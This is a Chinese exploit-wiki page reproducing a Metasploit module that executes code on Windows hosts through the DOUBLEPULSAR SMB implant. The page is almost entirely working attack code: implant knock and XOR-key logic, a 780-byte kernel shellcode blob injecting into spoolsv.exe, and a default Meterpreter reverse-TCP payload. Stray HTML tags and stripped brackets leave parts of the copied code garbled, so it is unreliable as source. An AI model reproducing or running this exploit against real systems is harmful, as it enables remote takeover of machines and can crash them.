Loading
0

SMB DOUBLEPULSAR远程代码执行漏洞

PWNWIK.COM

,

Book.png 这个页面的内容缺少参考,无法保证内容的准确性。

EXP:

##<font></font>
# This module requires Metasploit: https://metasploit.com/download<font></font>
# Current source: https://github.com/rapid7/metasploit-framework<font></font>
##<font></font>
<font></font>
class MetasploitModule < Msf::Exploit::Remote<font></font>
<font></font>
  Rank = GreatRanking<font></font>
<font></font>
  include Msf::Exploit::Remote::SMB::Client<font></font>
  include Msf::Module::Deprecated<font></font>
<font></font>
  moved_from 'exploit/windows/smb/doublepulsar_rce'<font></font>
<font></font>
  MAX_SHELLCODE_SIZE = 4096<font></font>
<font></font>
  def initialize(info = {})<font></font>
    super(update_info(info,<font></font>
      'Name'               => 'SMB DOUBLEPULSAR Remote Code Execution',<font></font>
      'Description'        => %q{<font></font>
        This module executes a Metasploit payload against the Equation Group's<font></font>
        DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.<font></font>
<font></font>
        While this module primarily performs code execution against the implant,<font></font>
        the "Neutralize implant" target allows you to disable the implant.<font></font>
      },<font></font>
      'Author'             => <font></font>
        'Equation Group', # DOUBLEPULSAR implant<font></font>
        'Shadow Brokers', # Equation Group dump<font></font>
        'zerosum0x0',     # DOPU analysis and detection<font></font>
        'Luke Jennings',  # DOPU analysis and detection<font></font>
        'wvu',            # Metasploit module and arch detection<font></font>
        'Jacob Robles'    # Metasploit module and RCE help<font></font>
      ,<font></font>
      'References'         => <font></font>
        'MSB', 'MS17-010',<font></font>
        'CVE', '2017-0143',<font></font>
        'CVE', '2017-0144',<font></font>
        'CVE', '2017-0145',<font></font>
        'CVE', '2017-0146',<font></font>
        'CVE', '2017-0147',<font></font>
        'CVE', '2017-0148',<font></font>
        'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html',<font></font>
        'URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/',<font></font>
        'URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/',<font></font>
        'URL', 'https://github.com/countercept/doublepulsar-detection-script',<font></font>
        'URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor',<font></font>
        'URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'<font></font>
      ,<font></font>
      'DisclosureDate'     => '2017-04-14', # Shadow Brokers leak<font></font>
      'License'            => MSF_LICENSE,<font></font>
      'Platform'           => 'win',<font></font>
      'Arch'               => ARCH_X64,<font></font>
      'Privileged'         => true,<font></font>
      'Payload'            => {<font></font>
        'Space'            => MAX_SHELLCODE_SIZE - kernel_shellcode_size,<font></font>
        'DisableNops'      => true<font></font>
      },<font></font>
      'Targets'            => <font></font>
        'Execute payload (x64)',<font></font>
          'DefaultOptions' => {<font></font>
            'EXITFUNC'     => 'thread',<font></font>
            'PAYLOAD'      => 'windows/x64/meterpreter/reverse_tcp'<font></font>
          }<font></font>
        ,<font></font>
        'Neutralize implant',<font></font>
          'DefaultOptions' => {<font></font>
            'PAYLOAD'      => nil # XXX: "Unset" generic payload<font></font>
          }<font></font>
        <font></font>
      ,<font></font>
      'DefaultTarget'      => 0,<font></font>
      'Notes'              => {<font></font>
        'AKA'              => 'DOUBLEPULSAR',<font></font>
        'RelatedModules'   => <font></font>
          'auxiliary/scanner/smb/smb_ms17_010',<font></font>
          'exploit/windows/smb/ms17_010_eternalblue'<font></font>
        ,<font></font>
        'Stability'        => CRASH_OS_DOWN,<font></font>
        'Reliability'      => REPEATABLE_SESSION<font></font>
      }<font></font>
    ))<font></font>
<font></font>
    register_advanced_options(<font></font>
      OptBool.new('DefangedMode',  true, 'Run in defanged mode', true),<font></font>
      OptString.new('ProcessName', true, 'Process to inject payload into', 'spoolsv.exe')<font></font>
    )<font></font>
  end<font></font>
<font></font>
  OPCODES = {<font></font>
    ping: 0x23,<font></font>
    exec: 0xc8,<font></font>
    kill: 0x77<font></font>
  }.freeze<font></font>
<font></font>
  STATUS_CODES = {<font></font>
    not_detected:   0x00,<font></font>
    success:        0x10,<font></font>
    invalid_params: 0x20,<font></font>
    alloc_failure:  0x30<font></font>
  }.freeze<font></font>
<font></font>
  def calculate_doublepulsar_status(m1, m2)<font></font>
    STATUS_CODES.key(m2.to_i - m1.to_i)<font></font>
  end<font></font>
<font></font>
  # algorithm to calculate the XOR Key for DoublePulsar knocks<font></font>
  def calculate_doublepulsar_xor_key(s)<font></font>
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))<font></font>
    x & 0xffffffff  # this line was added just to truncate to 32 bits<font></font>
  end<font></font>
<font></font>
  # The arch is adjacent to the XOR key in the SMB signature<font></font>
  def calculate_doublepulsar_arch(s)<font></font>
    s == 0 ? ARCH_X86 : ARCH_X64<font></font>
  end<font></font>
<font></font>
  def generate_doublepulsar_timeout(op)<font></font>
    k = SecureRandom.random_bytes(4).unpack1('V')<font></font>
    0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00<font></font>
  end<font></font>
<font></font>
  def generate_doublepulsar_param(op, body)<font></font>
    case OPCODES.key(op)<font></font>
    when :ping, :kill<font></font>
      "\x00" * 12<font></font>
    when :exec<font></font>
      Rex::Text.xor(@xor_key.pack('V'), body.length, body.length, 0.pack('V*'))<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def check<font></font>
    ipc_share = "\\\\#{rhost}\\IPC$"<font></font>
<font></font>
    @tree_id = do_smb_setup_tree(ipc_share)<font></font>
    vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")<font></font>
    vprint_status("Target OS is #{smb_peer_os}")<font></font>
<font></font>
    print_status('Sending ping to DOUBLEPULSAR')<font></font>
    code, signature1, signature2 = do_smb_doublepulsar_pkt<font></font>
    msg = 'Host is likely INFECTED with DoublePulsar!'<font></font>
<font></font>
    case calculate_doublepulsar_status(@multiplex_id, code)<font></font>
    when :success<font></font>
      @xor_key = calculate_doublepulsar_xor_key(signature1)<font></font>
      @arch = calculate_doublepulsar_arch(signature2)<font></font>
<font></font>
      arch_str =<font></font>
        case @arch<font></font>
        when ARCH_X86<font></font>
          'x86 (32-bit)'<font></font>
        when ARCH_X64<font></font>
          'x64 (64-bit)'<font></font>
        end<font></font>
<font></font>
      print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")<font></font>
      CheckCode::Vulnerable<font></font>
    when :not_detected<font></font>
      print_error('DOUBLEPULSAR not detected or disabled')<font></font>
      CheckCode::Safe<font></font>
    else<font></font>
      print_error('An unknown error occurred')<font></font>
      CheckCode::Unknown<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def exploit<font></font>
    if datastore'DefangedMode'<font></font>
      warning = <<~EOF<font></font>
<font></font>
<font></font>
        Are you SURE you want to execute code against a nation-state implant?<font></font>
        You MAY contaminate forensic evidence if there is an investigation.<font></font>
<font></font>
        Disable the DefangedMode option if you have authorization to proceed.<font></font>
      EOF<font></font>
<font></font>
      fail_with(Failure::BadConfig, warning)<font></font>
    end<font></font>
<font></font>
    # No ForceExploit because @tree_id and @xor_key are required<font></font>
    unless check == CheckCode::Vulnerable<font></font>
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')<font></font>
    end<font></font>
<font></font>
    case target.name<font></font>
    when 'Execute payload (x64)'<font></font>
      unless @xor_key<font></font>
        fail_with(Failure::NotFound, 'XOR key not found')<font></font>
      end<font></font>
<font></font>
      if @arch == ARCH_X86<font></font>
        fail_with(Failure::NoTarget, 'x86 is not a supported target')<font></font>
      end<font></font>
<font></font>
      print_status("Generating kernel shellcode with #{datastore'PAYLOAD'}")<font></font>
      shellcode = make_kernel_user_payload(payload.encoded, datastore'ProcessName')<font></font>
      shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)<font></font>
      vprint_status("Total shellcode length: #{shellcode.length} bytes")<font></font>
<font></font>
      print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")<font></font>
      xor_shellcode = Rex::Text.xor(@xor_key.pack('V'), shellcode)<font></font>
<font></font>
      print_status('Sending shellcode to DOUBLEPULSAR')<font></font>
      code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES:exec, xor_shellcode)<font></font>
    when 'Neutralize implant'<font></font>
      return neutralize_implant<font></font>
    end<font></font>
<font></font>
    case calculate_doublepulsar_status(@multiplex_id, code)<font></font>
    when :success<font></font>
      print_good('Payload execution successful')<font></font>
    when :invalid_params<font></font>
      fail_with(Failure::BadConfig, 'Invalid parameters were specified')<font></font>
    when :alloc_failure<font></font>
      fail_with(Failure::PayloadFailed, 'An allocation failure occurred')<font></font>
    else<font></font>
      fail_with(Failure::Unknown, 'An unknown error occurred')<font></font>
    end<font></font>
  ensure<font></font>
    disconnect<font></font>
  end<font></font>
<font></font>
  def neutralize_implant<font></font>
    print_status('Neutralizing DOUBLEPULSAR')<font></font>
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES:kill)<font></font>
<font></font>
    case calculate_doublepulsar_status(@multiplex_id, code)<font></font>
    when :success<font></font>
      print_good('Implant neutralization successful')<font></font>
    else<font></font>
      fail_with(Failure::Unknown, 'An unknown error occurred')<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def do_smb_setup_tree(ipc_share)<font></font>
    connect<font></font>
<font></font>
    # logon as user \<font></font>
    simple.login(datastore'SMBName', datastore'SMBUser', datastore'SMBPass', datastore'SMBDomain')<font></font>
<font></font>
    # connect to IPC$<font></font>
    simple.connect(ipc_share)<font></font>
<font></font>
    # return tree<font></font>
    simple.sharesipc_share<font></font>
  end<font></font>
<font></font>
  def do_smb_doublepulsar_pkt(opcode = OPCODES:ping, body = nil)<font></font>
    # make doublepulsar knock<font></font>
    pkt = make_smb_trans2_doublepulsar(opcode, body)<font></font>
<font></font>
    sock.put(pkt)<font></font>
    bytes = sock.get_once<font></font>
<font></font>
    return unless bytes<font></font>
<font></font>
    # convert packet to response struct<font></font>
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct<font></font>
    pkt.from_s(bytes4..-1)<font></font>
<font></font>
    return pkt'SMB'.v'MultiplexID', pkt'SMB'.v'Signature1', pkt'SMB'.v'Signature2'<font></font>
  end<font></font>
<font></font>
  def make_smb_trans2_doublepulsar(opcode, body)<font></font>
    setup_count = 1<font></font>
    setup_data = 0x000e.pack('v')<font></font>
<font></font>
    param = generate_doublepulsar_param(opcode, body)<font></font>
    data = param + body.to_s<font></font>
<font></font>
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct<font></font>
    simple.client.smb_defaults(pkt'Payload''SMB')<font></font>
<font></font>
    base_offset = pkt.to_s.length + (setup_count * 2) - 4<font></font>
    param_offset = base_offset<font></font>
    data_offset = param_offset + param.length<font></font>
<font></font>
    pkt'Payload''SMB'.v'Command' = CONST::SMB_COM_TRANSACTION2<font></font>
    pkt'Payload''SMB'.v'Flags1' = 0x18<font></font>
    pkt'Payload''SMB'.v'Flags2' = 0xc007<font></font>
<font></font>
    @multiplex_id = rand(0xffff)<font></font>
<font></font>
    pkt'Payload''SMB'.v'WordCount' = 14 + setup_count<font></font>
    pkt'Payload''SMB'.v'TreeID' = @tree_id<font></font>
    pkt'Payload''SMB'.v'MultiplexID' = @multiplex_id<font></font>
<font></font>
    pkt'Payload'.v'ParamCountTotal' = param.length<font></font>
    pkt'Payload'.v'DataCountTotal' = body.to_s.length<font></font>
    pkt'Payload'.v'ParamCountMax' = 1<font></font>
    pkt'Payload'.v'DataCountMax' = 0<font></font>
    pkt'Payload'.v'ParamCount' = param.length<font></font>
    pkt'Payload'.v'ParamOffset' = param_offset<font></font>
    pkt'Payload'.v'DataCount' = body.to_s.length<font></font>
    pkt'Payload'.v'DataOffset' = data_offset<font></font>
    pkt'Payload'.v'SetupCount' = setup_count<font></font>
    pkt'Payload'.v'SetupData' = setup_data<font></font>
    pkt'Payload'.v'Timeout' = generate_doublepulsar_timeout(opcode)<font></font>
    pkt'Payload'.v'Payload' = data<font></font>
<font></font>
    pkt.to_s<font></font>
  end<font></font>
<font></font>
  # ring3 = user mode encoded payload<font></font>
  # proc_name = process to inject APC into<font></font>
  def make_kernel_user_payload(ring3, proc_name)<font></font>
    sc = make_kernel_shellcode(proc_name)<font></font>
<font></font>
    sc << ring3.length.pack('S<')<font></font>
    sc << ring3<font></font>
<font></font>
    sc<font></font>
  end<font></font>
<font></font>
  def generate_process_hash(process)<font></font>
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm<font></font>
    proc_hash = 0<font></font>
    process << "\x00"<font></font>
<font></font>
    process.each_byte do |c|<font></font>
      proc_hash = ror(proc_hash, 13)<font></font>
      proc_hash += c<font></font>
    end<font></font>
<font></font>
    proc_hash.pack('l<')<font></font>
  end<font></font>
<font></font>
  def ror(dword, bits)<font></font>
    (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF<font></font>
  end<font></font>
<font></font>
  def make_kernel_shellcode(proc_name)<font></font>
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm<font></font>
    # Length: 780 bytes<font></font>
    "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \<font></font>
    "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \<font></font>
    "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \<font></font>
    "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \<font></font>
    "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \<font></font>
    "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \<font></font>
    "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \<font></font>
    "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \<font></font>
    "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \<font></font>
    "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \<font></font>
    "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \<font></font>
    "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \<font></font>
    "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +<font></font>
    generate_process_hash(proc_name.upcase) +<font></font>
    "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \<font></font>
    "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \<font></font>
    "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \<font></font>
    "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \<font></font>
    "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \<font></font>
    "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \<font></font>
    "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \<font></font>
    "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \<font></font>
    "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \<font></font>
    "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \<font></font>
    "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \<font></font>
    "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \<font></font>
    "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \<font></font>
    "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \<font></font>
    "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \<font></font>
    "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \<font></font>
    "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \<font></font>
    "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \<font></font>
    "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \<font></font>
    "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \<font></font>
    "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \<font></font>
    "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \<font></font>
    "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \<font></font>
    "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \<font></font>
    "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \<font></font>
    "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \<font></font>
    "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \<font></font>
    "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \<font></font>
    "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \<font></font>
    "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \<font></font>
    "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \<font></font>
    "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \<font></font>
    "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \<font></font>
    "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \<font></font>
    "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \<font></font>
    "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"<font></font>
  end<font></font>
<font></font>
  def kernel_shellcode_size<font></font>
    make_kernel_shellcode('').length<font></font>
  end<font></font>
<font></font>
end<font></font>
<font></font>
#  0day.today 2020-03-20  #

作者:

Metasploit

PWNWIK.COM==免费、自由、人人可编辑的漏洞库